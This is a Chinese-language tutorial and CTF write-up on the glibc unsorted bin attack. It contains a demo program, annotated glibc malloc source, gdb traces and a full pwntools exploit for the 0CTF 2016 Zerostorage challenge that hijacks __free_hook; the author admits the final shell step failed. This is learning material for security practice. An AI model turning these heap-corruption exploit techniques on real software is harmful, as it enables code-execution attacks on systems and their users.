堆利用系列五:Unsorted Bin Attack

前言

本文首先通过一个unsorted bin attack的例程解释其基本原型。然后通过详细的记录0CTF 2016 - Zerostorage的解题过程,包括解题思路,以及解题中遇到的困难和错误都按照时间线的方式记录下来了,我认为这种原汁原味的writeup相比于标准答案可能更能给大家一些参考信息。

unsorted bin attack例程

首先一个例子解释什么是unsorted bin attack,大家自行根据我之前的系列文章改用2.23版本的libc进行运行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdlib.h>

unsigned long remissions;

int main(void)
{

puts("So we will be covering an unsorted bin attack.");
puts("The unsorted bin is a doubly linked list.");
puts("This attack will allow us to write a pointer to the address of our choosing.");
puts("While this attack really doesn't give us much control over what we write, we can count on it being a ptr (which will probably be a 'large' integer)");
puts("Let's get started.\n");

printf("So our goal will be to overwrite the value of the 'remissions' global variable.\n");
printf("It is at the bss address: \t%p\n", &remissions);
printf("With the value: \t\t%0lx\n\n", remissions);

printf("We will start by allocating two chunks. One to insert into the unsorted bin.\n");
printf("The other to prevent consolidation with the top chunk.\n");

unsigned long *ptr0 = malloc(0xf0);
unsigned long *ptr1 = malloc(0x10);

printf("We have allocated our first chunk at:\t%p\n", ptr0);

printf("Now let's free it to insert it into the unsorted bin.\n\n");

free(ptr0);

printf("Now that it has been inserted into the unsorted bin, we can see it's fwd and bk pointers.\n");

printf("fwd:\t0x%lx\n", ptr0[0]);
printf("bk:\t0x%lx\n\n", ptr0[1]);

printf("Now when a chunk gets removed from the unsorted bin, a pointer to gets written to it's back chunk.\n");
printf("Specifically a pointer will get written to bk + 0x10 on x64 (bk + 0x8 for x86).\n");
printf("That is where we get our ptr write from.\n\n");

printf("So by using a bug, we can edit the bk pointer of the freed chunk to point to remissions - 0x10.\n");
printf("That way when the chunk leaves the unsorted bin, the pointer will be written to remissions.\n\n");

ptr0[1] = (unsigned long)(&remissions - 0x2);

printf("The current fwd and bk pointers after the write.\n");
printf("fwd:\t0x%lx\n", ptr0[0]);
printf("bk:\t0x%lx\n\n", ptr0[1]);


printf("Now we allocate a new chunk of the same size to remove our freed chunk from the unsorted bin.");
printf("This will trigger the write to remissions, which has a current value of 0x%lx\n", remissions);

malloc(0xf0);//------------------------>c1

printf("Now we can see that the value of remissions has changed.\n");
printf("remissions:\t0x%lx\n", remissions);

}

我们根据之前学习到的堆的知识,直接自己画图分析整个程序的所作所为。

当我们在c1处再次malloc(0xf0)的时候,实际上就是把原来在unsorted bin上的chunk0给分配回来,这就涉及到了把原来的chunk从unsorted bin上给解链下来。根据之前的文章我们分析过,解链需要涉及到两个指针的写入,分别是chunk0的fd指向chunk的bk指针,以及chunk0的bk指向的chunk的fd指针。

1
2
chunk0->fd->bk = chunk0->bk
chunk0->bk->fd = chunk0->fd

有同学可能会问,这不就是unlink操作吗,unlink操作不是要进行一次证明“你的前面一个人的后一个人就是你自己的校验吗”
没错这个本质上就是unlink,但是unlink只会在consolidate的时候调用,在glibc源码中,unlink函数只在free函数和malloc_consolidate的时候被调用,在malloc的从unsorted bin中分配并没有调用

malloc_consolidate中的两次调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
...

if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd); //-------------->调用unlink
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd); //-------------> 调用unlink
} else
clear_inuse_bit_at_offset(nextchunk, 0);
...
}

free函数中的两次调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd;

...
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd); //--------------------------->调用unlink
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd); //--------------------------->调用unlink
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
...

而对于从unsorted bin中malloc的逻辑,是直接这样改写的指针,并没有借用unlink函数

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

我们通过调试观察是否&remissions

1
2
gef➤  x/gx &remissions 
0x555555756018 <remissions>: 0x00007ffff7dd1b78

而指向的unsorted bin的前面的地址是main_arena + 88的地址
main_arena的地址为

1
2
gef➤  heap arenas 
Arena (base=0x7ffff7dd1b20

0x7ffff7dd1b20 + 88 = 0x7ffff7dd1b78
这种unsorted bin一种典型的应用就是泄露libc的地址。

0ctf 2016 - Zerostorage

题目的下载地址

漏洞点

在merge函数中,如果两个index相同,则会造成UAF,即原来的chunk被free放到unsorted bin中,同时误以为已经merge,被free的chunk还是可以被访问。

利用思路

由于本题有分配大小的限制,小于0x80的不能分配,因此直接使用fastbin attack将会受到限制,但是我们可以通过unsorted bin先修改global_max_fast的值,使得即使分配大于0x80的chunk,仍然使用的是fast bin,这样就绕过了长度限制,后面就是常规的fastbin attck利用技术。难点主要是global_max_fast的改写,具体流程见下图

关键步骤调试记录

如何确定global_max_fast的地址

在网上看了几篇文章的解,我只看到了直接通过gdb打印出global_max_fast的地址的解,但是我用自己下载的libc,并没有这个global_max_fast符号,因为这是一个static变量,是可以被strip去符号的。不太清楚别人是怎么搞得,我只能通过原理上去找这个地址。

首先通过ida打开libc的二进制文件,然后在源码中查找处理global_max_fast这个值的函数。
我在mallopt函数中找到了set_max_fast

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int
__libc_mallopt (int param_number, int value)
{
mstate av = &main_arena;
int res = 1;

if (__malloc_initialized < 0)
ptmalloc_init ();
(void) mutex_lock (&av->mutex);
/* Ensure initialization/consolidation */
malloc_consolidate (av);

LIBC_PROBE (memory_mallopt, 2, param_number, value);

switch (param_number)
{
case M_MXFAST:
if (value >= 0 && value <= MAX_FAST_SIZE)
{
LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
set_max_fast (value); // 设置global max fast值
}
...

set_max_fast是一个宏定义

1
2
3
#define set_max_fast(s) \
global_max_fast = (((s) == 0) \
? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))

做的事情就是给global_max_fast赋值。

在ida中查找类似的代码,首先找到了mallopt这个函数,由于这个函数是一个对外输出的函数,所以是不能被strip掉的,这也是为什么通过这个函数找global_max_fast的原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall mallopt(int a1, int a2)
{
__int64 v2; // rbp
__int64 v4; // rdx
unsigned __int64 v5; // rax

v2 = a2;
if ( dword_3C3144 < 0 )
sub_849E0();
_ESI = 1;
if ( !dword_3C87A0 )
{
__asm { cmpxchg cs:dword_3C3B20, esi }
if ( !dword_3C87A0 )
goto LABEL_8;
goto LABEL_7;
}
if ( _InterlockedCompareExchange(&dword_3C3B20, 1, 0) )
LABEL_7:
sub_1147C0(&dword_3C3B20, 1LL);
LABEL_8:
sub_7E460(&dword_3C3B20, 1LL);
switch ( a1 )
{
case -8:
if ( (int)v2 <= 0 )
goto LABEL_24;
v4 = 1LL;
qword_3C3180 = v2;
break;
case -7:
...

case 1:
v4 = 0LL;
if ( (unsigned int)v2 <= 0xA0 )
{
v5 = 16LL;
if ( (_DWORD)v2 )
v5 = ((int)v2 + 8LL) & 0xFFFFFFFFFFFFFFF0LL;
qword_3C5848 = v5; // --------------------------> global_max_fast
v4 = 1LL;
}
....

看了一下结构应该是同一个函数,找到switch对应的1分支,可以推断出qword_3C5848这个就是global_max_fast,所以在这个libc的偏移中,他相对文件头的偏移是0x3c5848。所以就可以借助泄露的main_arena+88的地址,推断出这个global_max_fast的地址。

1
2
gef➤  x/gx 0x00007ffff7bff000 + 0x3c5848
0x7ffff7fc4848: 0x0000000000000080

通过gdb查看libc加载的基地址是0x00007ffff7bff000,观察偏移0x3c5848的值为0x80,这就是默认情况下fastbin的最大为0x80,所以可以证明我们的这种方法找global_max_fast是可行的。

unsorted bin attack的利用

通过UAF我们可以改写merge后的chunk的bk指针为指向&global_max_fast - 2的地址,目的是在unsorted bin上分配chunk的时候,会造成前后两个chunk的fd和bk指针的改写,在本题中就是unsorted bin中的bk指向&global_max_fast - 2,而global_max_fast被存储了main_arena + 88的值。

我们在GEF中观察结果
首先在分配chunk之前,unsorted bin的情况

1
2
3
───────────────────────────── Unsorted Bin for arena '*0x7ffff7fc2b20' ─────────────────────────────
[+] unsorted_bins[0]: fw=0x555555758000, bk=0x555555758000
→ Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)

index为2的chunk2的bk指针通过UAF漏洞改写为&global_max_fast - 2, 通过之前的描述我们已经确定了global_max_fast地址为0x7ffff7fc4848

1
2
gef➤  x/gx 0x555555758010 +8
0x555555758018: 0x00007ffff7fc4838

通过GDB的结果可以看到我们已经成功修改了chunk2的bk指针,使其指向了&global_max_fast - 2

在分配一个0x90大小的chunk之后,我们观察unsorted bin是如何变化的.
首先观察unsorted bin bk指针的指向

1
2
gef➤  x/gx 0x00007ffff7fc2b78 + 8*3    // 0x00007ffff7fc2b78这个是main_arena+88的地址,即main_arena.top的地址
0x7ffff7fc2b90: 0x00007ffff7fc4838 //unsorted bin -> bk为 0x00007ffff7fc4838

因此我们可以看到unsorted bin的bk指针已经改写为&global_max_fast - 2

而global_max_fast值改为0x00007ffff7fc2b78, 我们成功将一个原本只有0x80大小的global_max_fast,改为了一个很大的值

1
2
gef➤  x/gx 0x00007ffff7fc4838 + 8*2
0x7ffff7fc4848: 0x00007ffff7fc2b78

选择合适的fastbin chunk大小

虽然我们现在可以分配很大的fastbin chunk,但是fast chunk在给用户返回堆块之前会有一个校验,它会检查返回给用户的堆块大小是否是合法的。我们的总体目标是能够 让fast chunk返回一个malloc_hook或者free_hook附近的地址。我们通过在他们附近查找是否有合适的值能够绕过fast chunk的校验。我在malloc_hook地址附近没有发现合适的值,但是在free_hook附近发现了一个0x200的值,这个size是满足我们的要求的。

fastbin attack

我们确定好了我们的目标fastbin chunk的大小为0x200,我们首先通过业务功能分配一个0x200大小的chunk,然后同样的merge这个chunk得到一个UAF的原型。此时内存上应该是有一个chunk是存放在fastbin上的。并且我们是可以访问这个被free的chunk。我们通过创建节点直接分配0x200的chunk的时候会出错。

为什么会出错?bug调试

1
2
3
4
5
6
7
8
9
10
11
12
gef➤  bt
#0 0x00007ffff7d41e8e in __libc_dlopen_mode () from ./libc.so.6
#1 0x00007ffff7d14301 in backtrace () from ./libc.so.6
#2 0x00007ffff7c1e9f5 in ?? () from ./libc.so.6
#3 0x00007ffff7c76725 in ?? () from ./libc.so.6
#4 0x00007ffff7c80f01 in ?? () from ./libc.so.6
#5 0x00007ffff7c8334a in calloc () from ./libc.so.6
#6 0x0000555555555057 in ?? ()
#7 0x0000555555554d57 in ?? ()
#8 0x00007ffff7c1f830 in __libc_start_main () from ./libc.so.6
#9 0x0000555555554d9a in ?? ()

0x200大小对应的index值是30,相对于fastbin数组的开始距离为 30 *8 = 240
0x80对应的是6

fastbin 相对于main_arena 就是+8

所以就是 main_arena + 8 + 240的地址是否有值,如果有值就不能当做我们的chunk 大小

后来发现我选在fast chunk大小为0x200是无法分配成功的,原因是因为0x200所对应 fastbin上有值的,这就导致会进入判断size,这个size显然不能通过校验,如何能绕过这个校验呢?这就涉及到需要充分利用题目中的realloc函数。

__libc_realloc函数的分析

两个特殊情况

1
2
3
4
5
6
 #if REALLOC_ZERO_BYTES_FREES
if (bytes == 0 && oldmem != NULL)
{
__libc_free (oldmem); return 0;
}
#endif

这段是说,当realloc(有效值,0)相当于free的功能

1
2
3
/* realloc of null is supposed to be same as malloc */
if (oldmem == 0)
return __libc_malloc (bytes);

这段的意思当oldmem如果为空的话,相当于malloc

一般情况

就是正常的oldmem和正常的size。

1
2
3
4
5
6
7
8
9
/* chunk corresponding to oldmem */
const mchunkptr oldp = mem2chunk (oldmem);
/* its size */
const INTERNAL_SIZE_T oldsize = chunksize (oldp);

if (chunk_is_mmapped (oldp))
ar_ptr = NULL;
else
ar_ptr = arena_for_chunk (oldp);

首先会根据oldmem得到它的chunk的大小,然后在判断一下这个堆是由mmap分配的吗。我们这种情况并不是mmap分配,因此跳过,继续看下面的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
newp = _int_realloc (ar_ptr, oldp, oldsize, nb);

if (newp == NULL)
{
/* Try harder to allocate memory in other arenas. */
LIBC_PROBE (memory_realloc_retry, 2, bytes, oldmem);
newp = __libc_malloc (bytes);
if (newp != NULL)
{
memcpy (newp, oldmem, oldsize - SIZE_SZ);
_int_free (ar_ptr, oldp, 0);
}
}

return newp;

会先尝试调用_int_realloc函数,如果调用成功就返回,如果调用不成功则直接用malloc实现。由于我们的uaf原型不能让流程进入到由malloc逻辑。具体解释下原因,如果用malloc实现的,那么返回的地址是和old mem不一样的,由于后面会对oldp给free,因此原来的merge(index1,index1), index1的这块内容就被释放了,在业务代码中会把index1再释放一遍,这实际上就是一个double free的原型,并不是UAF,double free的原型的利用比较困难,现在还没有兴趣去研究。

综上原因,我们一定要让_int_realloc分配成功,下面看_int_realloc的具体逻辑

1
2
3
4
5
6
7
8
9
10
if (next == av->top &&
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb + MINSIZE))
{
set_head_size (oldp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
av->top = chunk_at_offset (oldp, nb);
set_head (av->top, (newsize - nb) | PREV_INUSE);
check_inuse_chunk (av, oldp);
return chunk2mem (oldp);
}

这个有个关键的一个逻辑,就是如果这个老的指针指向的chunk和top是紧邻的,那么分配的时候就是直接从top上再扩展一点儿额外的空间,相当于还是返回老的指针,这个逻辑就符合我们的预期,只有这样才能再重构UAF漏洞原型。

最关键的是这样还可以避免在malloc的fast chunk的时候出错,由于直接用新建逻辑的时候调用的是calloc,相当于malloc,这个会直接进入校验逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0) //----------------> 0x200的时候这个地方会不为空
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

当请求的size为0x200的时候,fastbin 对应的fd是存在值的,所以会执行if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)),相当于会去检查这个指针指向的chunk size,由于这个是个我们不能控制的值,所以不能通过校验,因此通过单纯的创建节点的逻辑调用calloc得到一个符合fastbin 大小的chunk是不能通过的。

因此我们要试验,如何能够通过merge逻辑调用realloc得到一个符合大小的chunk。

通过realloc得到一个0x200大小的chunk

尝试通过分配0x100的chunk,然后merge,发现在insert(0xf0)的时候同样会不能通过fast chunk的size校验,原因是同样,但是我们可以在修改global_max_fast之前就分配这个。然后等到修改完后再尝试merge。
对应的exp代码

1
2
3
4
insert(0x20, "A" * 0x1f)  # 0
insert(0x20, "B" * 0x1f) # 1
merge(0, 0)
insert(0xf0,"G"*0xef) # 3

我们在第一次merge之后,修改max_fast之前申请一个0x100的chunk,观察内存情况

1
2
3
4
5
6
7
8
9
gef➤  heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 f8 2b fc f7 ff 7f 00 00 f8 2b fc f7 ff 7f 00 00 .+.......+......]
Chunk(addr=0x5555557580a0, size=0x90, flags=)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x100, flags=PREV_INUSE)
[0x0000555555758130 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG]
Chunk(addr=0x555555758230, size=0x20de0, flags=PREV_INUSE) ← top chunk

可以看到此时我们的这个chunk确实是与top chunk紧邻的,这符合我们的预期的。

但是却发现,在我们分配这个0x100的大小的chunk之后,却导致原来在unsorted bin中的chunk被放到了small bin中了。这是因为merge之后,在unsorted bin上已经有一个元素了,而且我们新申请的这个0x100大小的chunk会触发从unsorted bin上回收chunk到对应的bin上的逻辑,libc中的对应源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static void *
_int_malloc (mstate av, size_t bytes){
...
/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
...

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

这就导致我们后续利用unsorted bin进行改写max fast出错。因此我们不能触发这个逻辑,所以就要修改我们的创建节点的顺序,我们的exp需要改写为

1
2
3
4
insert(0x20, "A" * 0x1f)  # 0
insert(0x20, "B" * 0x1f) # 1
insert(0xf0,"G"*0xef) # 2
merge(0, 0)

即在merge之前分配这个chunk,而且要在第三个创建这个0x100的chunk,这样才能保证与top chunk是紧邻的。

这样我们在merge之前再次观察内存情况,可以发现目前为止我们的0x100的chunk的确是与top chunk紧邻的

1
2
3
4
5
6
7
8
9
gef➤  heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA]
Chunk(addr=0x5555557580a0, size=0x90, flags=PREV_INUSE)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x100, flags=PREV_INUSE)
[0x0000555555758130 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG]
Chunk(addr=0x555555758230, size=0x20de0, flags=PREV_INUSE) ← top chunk

在merge之后,我们再次观察是否chunk0成功回收到了unsorted bin上,并且chunk2仍然与top chunk紧邻

1
2
3
4
5
6
7
8
9
10
11
12
13
gef➤  heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 78 2b fc f7 ff 7f 00 00 78 2b fc f7 ff 7f 00 00 x+......x+......]
Chunk(addr=0x5555557580a0, size=0x90, flags=)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x100, flags=PREV_INUSE)
[0x0000555555758130 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG]
Chunk(addr=0x555555758230, size=0x20de0, flags=PREV_INUSE) ← top chunk
gef➤ heap bins unsorted
───────────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena '*0x7ffff7fc2b20' ─────────────────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x555555758000, bk=0x555555758000
→ Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.

可以看到我们的确实现了预期的效果。

但是在merge之后发现融合后的chunk只有0x1f0大,这个是因为由于合并不需要两个0x100,而是是0x100 +0xf0,第二个chunk的头部是不需要的。所以我们应该微调分配的大小,我改为了0xf8这么大之后再融合

1
2
3
4
5
6
7
8
9
gef➤  heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC]
Chunk(addr=0x5555557580a0, size=0x90, flags=PREV_INUSE)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x200, flags=PREV_INUSE)
[0x0000555555758130 08 2c fc f7 ff 7f 00 00 47 47 47 47 47 47 47 47 .,......GGGGGGGG]
Chunk(addr=0x555555758330, size=0x20ce0, flags=PREV_INUSE) ← top chunk

可以看到我们已经得到了我们想要的0x200

我们查看对应的fast bin上(已经远超了fastbin的范围)的存放的chunk是否正确

1
2
gef➤  x/gx 0x7ffff7fc2b20 + 8 +  30*8
0x7ffff7fc2c18: 0x0000555555758120

可以看到存放的就是我们刚才merge过后的0x20的chunk,所以我们已经完成了fast bin的布局。

拿到free_hook内存附近的控制权

我们完成了fastbin的布局,就可以利用UAF漏洞原型修改fastbin chunk的fd指针,进而在两次分配之后,拿到这个fd指针。
修改fd的exp代码是

1
2
malloc_free_hook_target_addr = 0x1bdf + leak_main_arena_88 - 8
edit(4, 0x1f0,p64(malloc_free_hook_target_addr))

0x1f0这个大小必须要正确,因为如果不是这个值,就会进入一个realloc流程,不要进入这个流程。

同样在gdb中观察是否写入正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤  heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC]
Chunk(addr=0x5555557580a0, size=0x90, flags=PREV_INUSE)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x200, flags=PREV_INUSE)
[0x0000555555758130 4f 47 fc f7 ff 7f 00 00 0a 47 47 47 47 47 47 47 OG.......GGGGGGG]
Chunk(addr=0x555555758330, size=0x20ce0, flags=PREV_INUSE) ← top chunk
gef➤ x/gx 0x7ffff7fc2b20 + 8 + 30 * 8
0x7ffff7fc2c18: 0x0000555555758120
gef➤ x/gx 0x0000555555758120
0x555555758120: 0x0000000000000000
gef➤ x/gx 0x0000555555758120 + 8
0x555555758128: 0x0000000000000201
gef➤ x/gx 0x0000555555758120 + 8 +8
0x555555758130: 0x00007ffff7fc474f

malloc_free_hook_target_addr的地址就是0x00007ffff7fc474f

我们已经成功修改了fd指针指向了我们想要的区域。
下面需要进行两次分配0x200 chunk。

第一次分配弹出无用的fastbin,第二次分配得到对free_hook的内存的指针。
之后就是往里面写数据,写数据的时候还有一个坑,就是要写入\x00字符,否则printf无法返回,程序会卡在那里。
原因是free_hook附近的数据显然是有用的,如果我们修改了就有可能导致程序出问题。

之后就是调用free实现对free_hook的劫持。至此我们已经拿到了PC的控制权,PWN!

结语

这道题的难度可谓非常大,在调试过程中出现了太多的问题,本文也是边调试编写,可能前半部分有问题,但是我都记录下来了,不可能我们一蹴而就的直接给出最优解,正确的答案是简练的但是却缺少了很多思维过程,这是我在做这道题搜寻资料的时候发现大家都是拿着别人写好的exp跑一遍就行了,但是exp能看懂,不代表你解理解了真正的解题思路,希望本篇这种完整的解题记录能给大家一点启发。

我的利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *

# context.terminal = ['tmux', 'splitw', '-h']

target = process("./zerostorage_long", env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("./zerostorage_long")
libc = ELF("./libc.so.6")
# gdb.attach(target)
# recv_str = target.recv()
# print recv_str

raw_input("Begin...")


def insert(size, data):
target.recvuntil("Your choice: ")
target.sendline("1")
target.recvuntil("Length of new entry: ")
target.sendline(str(size))
target.recvuntil("Enter your data: ")
target.sendline(data)

def merge(index1, index2):
target.recvuntil("Your choice: ")
target.sendline("3")
target.recvuntil("Merge from Entry ID: ")
target.sendline(str(index1))
target.recvuntil("Merge to Entry ID: ")
target.sendline(str(index2))

def view(index):
target.recvuntil("Your choice: ")
target.sendline("5")
target.recvuntil("Entry ID: ")
target.sendline(str(index))
target.recvline()
ret = target.recvline()
return ret

def edit(index, size, data):
target.recvuntil("Your choice: ")
target.sendline("2")
target.recvuntil("Entry ID: ")
target.sendline(str(index))
target.recvuntil("Length of entry: ")
target.sendline(str(size))
target.recvuntil("Enter your data: ")
target.sendline(data)


def delete(index):
target.recvuntil("Your choice: ")
target.sendline("4")
target.recvuntil("Entry ID: ")
target.sendline(str(index))


def system_input(cmd):
target.sendline(cmd)

# Create two chunks, must prevent consolidate into forest
insert(0x20, "A" * 0x1f) # 0
insert(0x20, "B" * 0x1f) # 1

length = 0x100 - 0x8
insert(length,"G"*(length-1)) # 2

# Merge 0 chunk with itself, use after free
merge(0, 0) # 把0 放到了unsorted bin上了,同时也可以访问0, ## 3
# print(target.recv())
leak_main_arena_88 = u64(view(3)[0:8])

# 0x3c3b20 + 88 main_arena_88 offset 0x7ffff7fc2b78
# 0x3c5848 max_fast_addr offset


# 0x7ffff7fc2b20是arena的地址
# fast bin的地址0x7ffff7fc2b20 +8
# fast bin 0x200对应的内存地址0x7ffff7fc2b20 + 8 + 30 * 8
offset1 = 0x1cd0
max_fast_addr = leak_main_arena_88 + offset1

edit(3,0x10,p64(leak_main_arena_88) + p64(max_fast_addr- 2*8))

insert(0x20,"C"*0x1f) # 0

# print(target.recv())

merge(2,2) # 4

# print(target.recv())

malloc_free_hook_target_addr = 0x1bdf + leak_main_arena_88 - 8
edit(4, 0x1f0, p64(malloc_free_hook_target_addr) + (0x1f0-8-1)*'I')

offset2 = 0x1c30
free_hook_addr = leak_main_arena_88 + offset2
num_to_write = (free_hook_addr - (malloc_free_hook_target_addr + 2 * 8 ))

execve_bin_sh_addr = leak_main_arena_88 - 0x37e917

insert(0x1f0,'H'*(0x1f0-1))
# insert(0x1f0,'H'*(0x1f0-1))

# insert(0x1f0,'H'*(0x1f0-1))

insert(0x1f0,num_to_write * '\x00' + p64(execve_bin_sh_addr) + '\x00' * (0x1f0-num_to_write-8-1)) # 6
# insert(0x1f0,num_to_write * 'E' + p64(execve_bin_sh_addr)) # 6

# insert(0x20, "A" * 0x1f) # 0
# print('haha')
delete(1)
system_input('ls')
print(target.recv())

最后虽然成功跳转了pc,但是没有执行execve(‘/bin/sh’)成功,具体原因不想再研究了,希望同学可以指点下。

参考

  1. https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html
  2. http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/
  3. https://hhdx.xyz/2020/07/12/How2heap-unsorted-bin-attack-0ctf2016-zerostorage/

libc unsorted bin的出入顺序

  1. 分析源码发现,当free的时候,往unsorted bin中添加chunk,会将unsorted bin ->fd 指向这个新加入的chunk,然后这个chunk的bk指向unsorted bin,这个chunk的fd指向原来的unsorted bin ->fd, 并且让原来的unsorted bin->fd的bk指向这个新的chunk

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
         bck = unsorted_chunks(av);
    fwd = bck->fd;
    if (__glibc_unlikely (fwd->bk != bck))
    {
    errstr = "free(): corrupted unsorted chunks";
    goto errout;
    }
    p->fd = fwd; //p是新chunk,新chunk的fd指向本来的头部
    p->bk = bck; //新chunk的bk指向unsorted bin
    if (!in_smallbin_range(size))
    {
    p->fd_nextsize = NULL;
    p->bk_nextsize = NULL;
    }
    bck->fd = p; // unsorted->fd指向新chunk
    fwd->bk = p; // 原来的头部的bk指向新chunk

    set_head(p, size | PREV_INUSE);
    set_foot(p, size);

    check_free_chunk(av, p);
    }
  2. 当从unsorted bin中取元素出来的时候是先取的unsorted bin ->bk指向的元素,取元素会重写两个指针。

    1
    2
    3
    4
    5
    6
    7

    victim = unsorted_chunks (av)->bk) //取出的元素的unsorted bin的bk
    ...
    bck = victim->bk;
    ...
    unsorted_chunks (av)->bk = bck; // unsorted bin->bk指向被取出的元素的上一个元素
    bck->fd = unsorted_chunks (av); // 被取出元素的上一个元素的fd指向unsorted bin

